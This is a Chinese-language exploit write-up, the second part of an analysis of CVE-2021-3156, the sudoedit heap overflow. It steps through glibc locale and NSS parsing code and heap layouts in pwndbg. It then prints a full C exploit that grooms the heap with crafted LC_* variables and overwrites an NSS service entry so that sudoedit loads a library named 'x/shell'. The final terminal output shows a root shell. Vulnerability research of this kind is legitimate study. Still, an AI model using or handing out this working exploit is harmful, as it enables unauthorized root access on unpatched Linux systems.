高端的二进制0day挖掘，往往只需要从1day的分析开始【下】

parallels@parallels-Parallels-Virtual-Platform:~/Desktop/CVE-2021-3156$ cat /etc/nsswitch.conf # /etc/nsswitch.conf## Example configuration of GNU Name Service Switch functionality.# If you have the `glibc-doc-reference' and `info' packages installed, try:# `info libc "Name Service Switch"' for information about this file.
passwd: files systemdgroup: files systemdshadow: filesgshadow: files
hosts: files mdns4_minimal [NOTFOUND=return] dnsnetworks: files
protocols: db filesservices: db filesethers: db filesrpc: db files
netgroup: nis

pwndbg> p _nl_global_locale$13 = {__locales = {0x7fbdf769c6c0 <_nl_C_LC_CTYPE>, 0x7fbdf769cc00 <_nl_C_LC_NUMERIC>, 0x7fbdf769cc80 <_nl_C_LC_TIME>, 0x7fbdf769d500 <_nl_C_LC_COLLATE>, 0x7fbdf769ca40 <_nl_C_LC_MONETARY>, 0x7fbdf769c9c0 <_nl_C_LC_MESSAGES>, 0x0, 0x7fbdf769d1c0 <_nl_C_LC_PAPER>, 0x7fbdf769d220 <_nl_C_LC_NAME>, 0x7fbdf769d2a0 <_nl_C_LC_ADDRESS>, 0x7fbdf769d360 <_nl_C_LC_TELEPHONE>, 0x7fbdf769d3e0 <_nl_C_LC_MEASUREMENT>, 0x7fbdf769d440 <_nl_C_LC_IDENTIFICATION>},__ctype_b = 0x7fbdf764f3c0 <_nl_C_LC_CTYPE_class+256>,__ctype_tolower = 0x7fbdf764e4c0 <_nl_C_LC_CTYPE_tolower+512>,__ctype_toupper = 0x7fbdf764eac0 <_nl_C_LC_CTYPE_toupper+512>,__names = {0x7fbdf7668fd9 <_nl_C_name> "C" <repeats 13 times>}}

#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12

LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

while (category-- > 0)if (category != LC_ALL){newdata[category] = _nl_find_locale(locale_path, locale_path_len,category,&newnames[category]);
if (newdata[category] == NULL){#ifdef NL_CURRENT_INDIRECTif (newnames[category] == _nl_C_name)/* Null because it's the weak value of _nl_C_LC_FOO. */continue;#endifbreak;}
............}/* Create new composite name. */composite = (category >= 0? NULL: new_composite_name(LC_ALL, newnames));if (composite != NULL){/* Now we have loaded all the new data. Put it in place. */for (category = 0; category < __LC_LAST; ++category)if (category != LC_ALL){setdata(category, newdata[category]);setname(category, newnames[category]);}setname(LC_ALL, composite);
/* We successfully loaded a new locale. Let the message catalogfunctions know about this. */++_nl_msg_cat_cntr;}elsefor (++category; category < __LC_LAST; ++category)if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category])free((char *)newnames[category]);

mask = _nl_explode_name(loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);

$5 = 0x55a23fe331f0 "/usr/lib/locale/C.UTF-8.utf8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$6 = 0x55a23fe33030 "/usr/lib/locale/C.UTF-8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$7 = 0x55a23fe33370 "/usr/lib/locale/C@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$8 = 0x55a23fe33000 "/usr/lib/locale/C/LC_TELEPHONE"$9 = 0x55a23fe33450 "/usr/lib/locale/C.UTF-8/LC_TELEPHONE"$12 = 0x55a23fe34360 "/usr/lib/locale/C.utf8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"

composite = (category >= 0? NULL: new_composite_name(LC_ALL, newnames));

elsefor (++category; category < __LC_LAST; ++category)if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category])free((char *)newnames[category]);

int__nss_database_lookup2 (const char *database, const char *alternate_name,const char *defconfig, service_user **ni){/* Prevent multiple threads to change the service table. */__libc_lock_lock (lock);
/* Reconsider database variable in case some other thread called`__nss_configure_lookup' while we waited for the lock. */if (*ni != NULL){__libc_lock_unlock (lock);return 0;}
/* Are we initialized yet? */if (service_table == NULL)/* Read config file. */service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
/* Test whether configuration data is available. */if (service_table != NULL) ......
/* No configuration data is available, either because nsswitch.confdoesn't exist or because it doesn't have a line for this database.
DEFCONFIG specifies the default service list for this database,or null to use the most common default. */if (*ni == NULL)......
__libc_lock_unlock (lock);
return *ni != NULL ? 0 : -1;}

typedef enum{NSS_ACTION_CONTINUE,NSS_ACTION_RETURN,NSS_ACTION_MERGE} lookup_actions;
typedef struct service_library{/* Name of service (`files', `dns', `nis', ...). */const char *name;/* Pointer to the loaded shared library. */void *lib_handle;/* And the link to the next entry. */struct service_library *next;} service_library;

typedef struct service_user{/* And the link to the next entry. */struct service_user *next;/* Action according to result. */lookup_actions actions[5];/* Link to the underlying library object. */service_library *library;/* Collection of known functions. */void *known;/* Name of the service (`files', `dns', `nis', ...). */char name[0];} service_user;
typedef struct name_database_entry{/* And the link to the next entry. */struct name_database_entry *next;/* List of service to be used. */service_user *service;/* Name of the database. */char name[0];} name_database_entry;
typedef struct name_database{/* List of all known databases. */name_database_entry *entry;/* List of libraries with service implementation. */service_library *library;} name_database;

static name_database *nss_parse_file (const char *fname){FILE *fp;name_database *result;name_database_entry *last;char *line;size_t len;
/* Open the configuration file. */fp = fopen (fname, "rce");if (fp == NULL)return NULL;
/* No threads use this stream. */__fsetlocking (fp, FSETLOCKING_BYCALLER);
result = (name_database *) malloc (sizeof (name_database));if (result == NULL){fclose (fp);return NULL;}
result->entry = NULL;result->library = NULL;last = NULL;line = NULL;len = 0;do{name_database_entry *this;ssize_t n;
n = __getline (&line, &len, fp);if (n < 0)break;if (line[n - 1] == 'n')line[n - 1] = '';
/* Because the file format does not know any form of quoting wecan search forward for the next '#' character and if foundmake it terminating the line. */*__strchrnul (line, '#') = '';
/* If the line is blank it is ignored. */if (line[0] == '')continue;
/* Each line completely specifies the actions for a database. */this = nss_getline (line);if (this != NULL){if (last != NULL)last->next = this;elseresult->entry = this;
last = this;}}while (!__feof_unlocked (fp));
/* Free the buffer. */free (line);/* Close configuration file. */fclose (fp);
return result;}

static name_database_entry *nss_getline (char *line){const char *name;name_database_entry *result;size_t len;
/* Ignore leading white spaces. ATTENTION: this is different fromwhat is implemented in Solaris. The Solaris man page says a linebeginning with a white space character is ignored. We regardthis as just another misfeature in Solaris. */while (isspace (line[0]))++line;
/* Recognize `<database> ":"'. */name = line;while (line[0] != '' && !isspace (line[0]) && line[0] != ':')++line;if (line[0] == '' || name == line)/* Syntax error. */return NULL;*line++ = '';
len = strlen (name) + 1;
result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);if (result == NULL)return NULL;
/* Save the database name. */memcpy (result->name, name, len);
/* Parse the list of services. */result->service = nss_parse_service_list (line);
result->next = NULL;return result;}

static service_user *nss_parse_service_list (const char *line){service_user *result = NULL, **nextp = &result;
while (1){service_user *new_service;const char *name;
while (isspace (line[0]))++line;if (line[0] == '')/* No source specified. */return result;
/* Read <source> identifier. */name = line;while (line[0] != '' && !isspace (line[0]) && line[0] != '[')++line;if (name == line)return result;
new_service = (service_user *) malloc (sizeof (service_user)+ (line - name + 1));if (new_service == NULL)return result;
*((char *) __mempcpy (new_service->name, name, line - name)) = '';..................

passwd: files systemd

new_service = (service_user *) malloc (sizeof (service_user)+ (line - name + 1));

static intnss_load_library(service_user *ni){if (ni->library == NULL){/* This service has not yet been used. Fetch the servicelibrary for it, creating a new one if need be. If thereis no service table from the file, this static variableholds the head of the service_library list made from thedefault configuration. */static name_database default_table;ni->library = nss_new_service(service_table ?: &default_table,ni->name);if (ni->library == NULL)return -1;}
if (ni->library->lib_handle == NULL){/* Load the shared library. */size_t shlen = (7 + strlen(ni->name) + 3 + strlen(__nss_shlib_revision) + 1);int saved_errno = errno;char shlib_name[shlen];/* Construct shared object name. */__stpcpy(__stpcpy(__stpcpy(__stpcpy(shlib_name,"libnss_"),ni->name),".so"),__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen(shlib_name);

ni->library->lib_handle = __libc_dlopen(shlib_name);

static service_library *nss_new_service(name_database *database, const char *name){service_library **currentp = &database->library;
while (*currentp != NULL){if (strcmp((*currentp)->name, name) == 0)return *currentp;currentp = &(*currentp)->next;}/* We have to add the new service. */*currentp = (service_library *)malloc(sizeof(service_library));if (*currentp == NULL)return NULL;
(*currentp)->name = name;(*currentp)->lib_handle = NULL;(*currentp)->next = NULL;
return *currentp;}

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)# define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
............void *__libc_malloc (size_t bytes){mstate ar_ptr;void *victim;
_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,"PTRDIFF_MAX is not more than half of SIZE_MAX");
void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook);if (__builtin_expect (hook != NULL, 0))return (*hook)(bytes, RETURN_ADDRESS (0));#if USE_TCACHE/* int_free also calls request2size, be careful to not pad twice. */size_t tbytes;if (!checked_request2size (bytes, &tbytes)){__set_errno (ENOMEM);return NULL;}size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;if (tc_idx < mp_.tcache_bins&& tcache&& tcache->counts[tc_idx] > 0){return tcache_get (tc_idx);}............

/* Check if REQ overflows when padded and aligned and if the resulting valueis less than PTRDIFF_T. Returns TRUE and the requested size or MINSIZE incase the value is less than MINSIZE on SZ or false if any of the previouscheck fail. */static inline boolchecked_request2size (size_t req, size_t *sz) __nonnull (1){if (__glibc_unlikely (req > PTRDIFF_MAX))return false;*sz = request2size (req);return true;}

tc_idx | Chunk Size--------------------0 | 201 | 302 | 403 | 504 | 605 | 706 | 807 | 908 | a09 | b010 | c011 | d012 | e013 | f014 | 10015 | 110

#define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

#include <stdio.h>#include <unistd.h> // execve()#include <string.h> // strcat()
// LC_ENV#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12
/*gdb commands
catch execset follow-exec-mode new
b set_cmndb policy_checkb sudoers.c:872b nss_load_libraryb __nss_database_lookup2b _nl_make_l10nflist p *service_table -> entry -> next -> service -> next*/
// 通用初始化函数void init_lc_var(char *buffer, size_t buffer_size, const char *initial_value, char fill_char, size_t fill_size) {strncpy(buffer, initial_value, buffer_size - 1); // 防止溢出，确保buffer有空间存放填充字符size_t initial_length = strlen(buffer);if (initial_length < buffer_size - 1) {memset(buffer + initial_length, fill_char, fill_size);buffer[buffer_size - 1] = ''; // 确保以null结尾}}
int main() {
char lc_monetary[0xe0];char lc_telephone[0x40];char lc_measurement[0x40];char lc_identification[0x40];
init_lc_var(lc_monetary, sizeof(lc_monetary), "LC_MONETARY=mg_GEM.UTF-8@", 'D', 0xb4);init_lc_var(lc_telephone, sizeof(lc_telephone), "LC_TELEPHONE=C.UTF-8@", 'C', 0x20);init_lc_var(lc_measurement, sizeof(lc_measurement), "LC_MEASUREMENT=C.UTF-8@", 'B', 0x20);init_lc_var(lc_identification, sizeof(lc_identification), "LC_IDENTIFICATION=C.UTF-8@", 'A', 0x20);
// print varprintf("%sn", lc_monetary);printf("%sn", lc_telephone);printf("%sn", lc_measurement);printf("%sn", lc_identification);
char argv2[0xf0] = {[0 ... 0xdf] = 'E'}; strcat(argv2, "\");
char* argv[] = {"sudoedit", "-i", argv2, NULL};char overflow[0x1C0] = {[0 ... 0x1BE] = 'F'}; strcat(overflow, "\"); 
char so_name[] = "x/shell\"; char* envp[] = {overflow,"\", "\", "\", "\", "\", "\", "\","actions\","\", "\", "\", "\", "\", "\", "\", "\","\", "\", "\", "\", "\", "\", "\", "\",so_name,"gem",lc_monetary, lc_telephone, lc_measurement, lc_identification,NULL};
execve("/usr/local/bin/sudoedit", argv, envp);return 0;}

init_lc_var(lc_monetary, sizeof(lc_monetary), "LC_MONETARY=mg_GEM.UTF-8@", 'D', 0xb4);init_lc_var(lc_telephone, sizeof(lc_telephone), "LC_TELEPHONE=C.UTF-8@", 'C', 0x20);init_lc_var(lc_measurement, sizeof(lc_measurement), "LC_MEASUREMENT=C.UTF-8@", 'B', 0x20);init_lc_var(lc_identification, sizeof(lc_identification), "LC_IDENTIFICATION=C.UTF-8@", 'A', 0x20);

pwndbg> p *service_table -> entry -> service$3 = {next = 0x55b761c60190,actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},library = 0x55b761c63560,known = 0x55b761c63520,name = 0x55b761c5fae0 "files"}pwndbg> p service_table -> entry -> service$4 = (service_user *) 0x55b761c5fab0

char argv2[0xf0] = {[0 ... 0xdf] = 'E'};strcat(argv2, "\");

char overflow[0x1C0] = {[0 ... 0x1BE] = 'F'};strcat(overflow, "\");

"\", "\", "\", "\", "\", "\", "\","actions\","\", "\", "\", "\", "\", "\", "\", "\","\", "\", "\", "\", "\", "\", "\", "\",so_name,

pwndbg> p service_table -> entry -> next -> service -> next$14 = (struct service_user *) 0x55b761c62910pwndbg> p *service_table -> entry -> next -> service -> next$15 = {next = 0x4646464646464646,actions = {(NSS_ACTION_MERGE | unknown: 1179010628), (NSS_ACTION_MERGE | unknown: 1179010628), NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (NSS_ACTION_RETURN | unknown: 1769235296)},library = 0x0,known = 0x0,name = 0x55b761c62940 "x/shell"}pwndbg> x/40xg 0x55b761c629000x55b761c62900: 0x4646464646464646 0x46464646464646460x55b761c62910: 0x4646464646464646 0x46464646464646460x55b761c62920: 0x0000000000000000 0x00736e6f697463610x55b761c62930: 0x0000000000000000 0x00000000000000000x55b761c62940: 0x006c6c6568732f78 0x00000000206d65670x55b761c62950: 0x000000006f647573 0x00000000000000000x55b761c62960: 0x0000000000000000 0x00000000000000210x55b761c62970: 0x636f6c2f6374652f 0x0000656d69746c610x55b761c62980: 0x0000000000000000 0x00000000000000210x55b761c62990: 0x000055b761c629b0 0x00000000000000030x55b761c629a0: 0x000055b700544d4c 0x00000000000000210x55b761c629b0: 0x000055b761c629d0 0x00000000000000030x55b761c629c0: 0x0000000000544443 0x00000000000000210x55b761c629d0: 0x0000000000000000 0x00000000000000030x55b761c629e0: 0x0000000000545343 0x00000000000000210x55b761c629f0: 0x000055b761c62fb0 0x000055b761c635600x55b761c62a00: 0x0000000000000000 0x00000000000001110x55b761c62a10: 0x000055b761c636f0 0x000055b761c637a00x55b761c62a20: 0x000055b761c637c0 0x000055b761c637e00x55b761c62a30: 0x000055b761c63800 0x000055b761c63820pwndbg>

~/Desktop/CVE-2021-3156/EnvTest$ ./sudo_exp2LC_MONETARY=mg_GEM.UTF-8@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLC_TELEPHONE=C.UTF-8@CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCLC_MEASUREMENT=C.UTF-8@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBLC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA# iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(parallels)